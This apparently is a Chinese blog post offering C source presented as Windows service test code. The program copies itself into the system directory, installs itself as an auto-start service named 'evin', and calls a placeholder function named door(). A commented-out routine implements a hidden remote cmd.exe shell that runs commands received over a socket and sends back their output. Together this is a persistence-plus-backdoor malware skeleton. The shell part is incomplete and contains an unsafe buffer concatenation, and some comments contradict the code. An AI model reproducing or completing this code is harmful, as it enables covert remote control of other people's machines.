windows服务开发测试代码

曾经终败给现在 2022-08-06 15:14 213阅读 0赞

源码：

#include <winsock2.h>
    #include <windows.h>
    #include <stdio.h>
    
    #pragma comment(lib, "ws2_32.lib")              
    void  WINAPI ServiceMain(DWORD,LPTSTR *);
    //DWORD WINAPI CmdService(LPVOID);
    //DWORD WINAPI CmdShell(LPVOID);
    void WINAPI ServiceCtrlHandler(DWORD Opcode);//服务控制函数
    BOOL  InstallCmdService();
    void DelServices();
    void  door();
    //VOID WINAPI EXEBackMain (LPVOID s);
    SERVICE_STATUS m_ServiceStatus;
    SERVICE_STATUS_HANDLE m_ServiceStatusHandle;
    BOOL bRunning=true;
     
    int main(int argc,char *argv[])
    {
        SERVICE_TABLE_ENTRY DispatchTable[] =
        {
            {"evin",ServiceMain},//服务程序的名称和入口点(函数)
            {NULL    ,NULL    }//SERVICE_TABLE_ENTRY结构必须以“NULL”结束；
        };
      //  if(argc==1) door();
        if(argc==2) //两个参数，第一个参数是程序本身，第二个是自己输入的。
        {
            if(!stricmp(argv[1],"-i"))//如果第二个参数等于-install
            {
                InstallCmdService();
            }
            else if(!stricmp(argv[1],"-r"))//比较字符串s1和s2，但不区分字母的大小写
            {
                DelServices();
            }
             
           // return 0;
        }
     
     
        StartServiceCtrlDispatcher(DispatchTable);//把入口点的地址传入
     
    
    	return 0;
    }
     
    void door ()
    {
       
    //主程序
    }
     
    void WINAPI ServiceMain(DWORD dwArgc,LPTSTR *lpArgv) //服务主函数
     
    {
        m_ServiceStatus.dwServiceType = SERVICE_WIN32;
        m_ServiceStatus.dwCurrentState = SERVICE_START_PENDING; 
        m_ServiceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE;;
        m_ServiceStatus.dwWin32ExitCode = 0; 
        m_ServiceStatus.dwServiceSpecificExitCode = 0; 
        m_ServiceStatus.dwCheckPoint = 0; 
        m_ServiceStatus.dwWaitHint = 0;
        m_ServiceStatusHandle = RegisterServiceCtrlHandler("hevin",ServiceCtrlHandler);
        if (m_ServiceStatusHandle == (SERVICE_STATUS_HANDLE)0)return; 
        m_ServiceStatus.dwCurrentState = SERVICE_RUNNING; //设置服务状态
        m_ServiceStatus.dwCheckPoint = 0; 
        m_ServiceStatus.dwWaitHint = 0; 
        //SERVICE_STATUS结构含有七个成员，它们反映服务的现行状态。
        //所有这些成员必须在这个结构被传递到SetServiceStatus之前正确的设置
       if( SetServiceStatus (m_ServiceStatusHandle, &m_ServiceStatus))
        bRunning=true;
        door(); //启动我们的服务程序
        return; 
    }
     
    void WINAPI ServiceCtrlHandler(DWORD Opcode)//服务控制函数
    {
        switch(Opcode) 
        { 
        case SERVICE_CONTROL_PAUSE:    // we accept the command to pause it
            m_ServiceStatus.dwCurrentState = SERVICE_PAUSED; 
            break; 
        case SERVICE_CONTROL_CONTINUE:  // we got the command to continue
            m_ServiceStatus.dwCurrentState = SERVICE_RUNNING; 
            break; 
        case SERVICE_CONTROL_STOP:   // we got the command to stop this service
            m_ServiceStatus.dwWin32ExitCode = 0; 
            m_ServiceStatus.dwCurrentState = SERVICE_STOPPED; 
            m_ServiceStatus.dwCheckPoint = 0; 
            m_ServiceStatus.dwWaitHint = 0; 
            SetServiceStatus (m_ServiceStatusHandle,&m_ServiceStatus);
            bRunning=false;
            break;
        case SERVICE_CONTROL_INTERROGATE: 
            break; 
        } 
        return; 
    }
     
    BOOL InstallCmdService()//安装服务函数
    {
        char strDir[1024];
        SC_HANDLE schSCManager,schService;
    
        GetCurrentDirectory(1024,strDir);//取当前目录
        GetModuleFileName(NULL,strDir,sizeof(strDir));//取当前文件路径和文件名
     
        char chSysPath[1024];
        GetSystemDirectory(chSysPath,sizeof(chSysPath));//取系统目录
     
        strcat(chSysPath,"\\evin.exe");//将svchost.exe拼接到系统目录
        if(CopyFile(strDir,chSysPath,FALSE))printf("Copy file OK\n"); // 把当前服务程序复制到系统根目录为system.exe
     
        strcpy(strDir,chSysPath);
         
        schSCManager = OpenSCManager(NULL,NULL,SC_MANAGER_ALL_ACCESS); 
        if (schSCManager == NULL) 
        {
            printf("open scmanger failed,maybe you do not have the privilage to do this\n");
            return false;
        }
     
        LPCTSTR lpszBinaryPathName=strDir;
        schService = CreateService(schSCManager,
            "evin",
            "evin", //将服务的信息添加到SCM的数据库
            SERVICE_ALL_ACCESS, // desired access 
            SERVICE_WIN32_OWN_PROCESS, // service type 
            SERVICE_AUTO_START, // start type 
            SERVICE_ERROR_NORMAL, // error control type 
            lpszBinaryPathName, // service's binary 
            NULL, // no load ordering group 
            NULL, // no tag identifier 
            NULL, // no dependencies 
            NULL, // LocalSystem account 
            NULL); // no password 
             
            if (schService) printf("Install Service Success!\n");
            else
            return false; 
             
        CloseServiceHandle(schService); 
        return true;
    }
     
    void DelServices()
    {
        char name[100];
        SC_HANDLE scm;
        SC_HANDLE service;
        SERVICE_STATUS status;
        strcpy(name,"evin");
     
        if((scm=OpenSCManager(NULL,NULL,SC_MANAGER_CREATE_SERVICE))==NULL)
        {
            printf("OpenSCManager Error ");
        }
        service=OpenService(scm,name,SERVICE_ALL_ACCESS|DELETE);
        if (!service)
        {
            printf("OpenService error! ");
            return;
        }
        BOOL isSuccess=QueryServiceStatus(service,&status);
        if (!isSuccess)
        {
            printf("QueryServiceStatus error! ");
            return;
        }
     
        if ( status.dwCurrentState!=SERVICE_STOPPED )
        {
     
            isSuccess=ControlService(service,SERVICE_CONTROL_STOP,&status);
            if (!isSuccess )
                printf("Stop Service error! ");
            Sleep( 500 );
     
        }
     
        isSuccess=DeleteService(service);
        if (!isSuccess)
             printf("Delete Service Fail!");
        else
             printf("Delete Service Success! ");
     
        CloseServiceHandle(service );
        CloseServiceHandle(scm);
    }
    
    
    
    
    
    
    
    
    
    
    /
    /*
    VOID WINAPI EXEBackMain (LPVOID s)
    //BOOL EXEBackMain (SOCKET sock)
    {    
        SOCKET sock=(SOCKET)s;
        STARTUPINFO si;
        PROCESS_INFORMATION pi;
        HANDLE hRead=NULL,hWrite=NULL;
        TCHAR CmdSign[]="\nGood Luck!:\\>";
         
        while (TRUE)
        {
               TCHAR MsgError[50]={0};     //错误消息缓冲
               TCHAR Cmdline[300]={0};     //命令行缓冲
               TCHAR RecvBuf[1024]={0};    //接收缓冲
               TCHAR SendBuf[2048]={0};    //发送缓冲
               SECURITY_ATTRIBUTES sa;
               DWORD bytesRead=0;
               int ret=0;
     
               sa.nLength=sizeof(SECURITY_ATTRIBUTES);
               sa.lpSecurityDescriptor=NULL;
               sa.bInheritHandle=TRUE;
     
               //创建匿名管道
               if (!CreatePipe(&hRead,&hWrite,&sa,0))
               {
                   goto Clean;
               }
     
               si.cb=sizeof(STARTUPINFO);
               GetStartupInfo(&si);
               si.hStdError=hWrite;
               si.hStdOutput=hWrite;    //进程（cmd）的输出写入管道
               si.wShowWindow=SW_HIDE;
               si.dwFlags=STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;
     
               GetSystemDirectory(Cmdline,sizeof (Cmdline));   //获取系统目录
               strcat(Cmdline,"\\cmd.exe /c ");                //拼接cmd
     
              // ret=send(sock,CmdSign,sizeof (CmdSign),0);      //向目标发送提示符
     
               if (ret==SOCKET_ERROR)
               {
                  goto Clean;
               }
                
               ret=recv(sock,RecvBuf,sizeof (RecvBuf),0);       //接收目标数据
                
               //如果为exit或quit，就退出
               if (strnicmp(RecvBuf,"exit",4)==0||strnicmp(RecvBuf,"quit",4)==0)
               {
                   send(sock,BYEBYE,sizeof (BYEBYE),0);
                   goto Clean;
               }
             
               //表示对方已经断开
               if (ret==SOCKET_ERROR)
               {
                   goto Clean;
               }
     
               //表示接收数据出错
               if (ret<=0)
               {
                   #ifdef DEBUGMSG
                          sprintf(MsgError,"recv() GetLastError reports %d\n",WSAerron);
                          send(sock,MsgError,sizeof (MsgError),0);
                   #endif      
                   continue;
               }
     
               Sleep(100);      //休息一下，可要可不要
               strncat(Cmdline,RecvBuf,sizeof (RecvBuf));  //拼接一条完整的cmd命令
     
               //创建进程，也就是执行cmd命令
               if (!CreateProcess(NULL,Cmdline,NULL,NULL,TRUE,NULL,NULL,NULL,&si,&pi))
               {
                  continue;
               }
               CloseHandle(hWrite);
               while (TRUE)
               {
                      //无限循环读取管道中的数据，直到管道中没有数据为止
                      if (ReadFile(hRead,SendBuf,sizeof (SendBuf),&bytesRead,NULL)==0)
                          break;
                      send(sock,SendBuf,bytesRead,0);      //发送出去
                      memset(SendBuf,0,sizeof (SendBuf));  //缓冲清零
                      Sleep(100);                          //休息一下
               }
               
        }
     
        Clean:
              //释放句柄
              if (hRead!=NULL)
                  CloseHandle(hRead);
     
              if (hWrite!=NULL)
                  CloseHandle(hWrite);
     
              //释放SOCKET
              if (sock!=NULL)
                  closesocket(sock);
     
              WSACleanup();
              ExitThread(0);
              //return 0;
     
    }
     
    */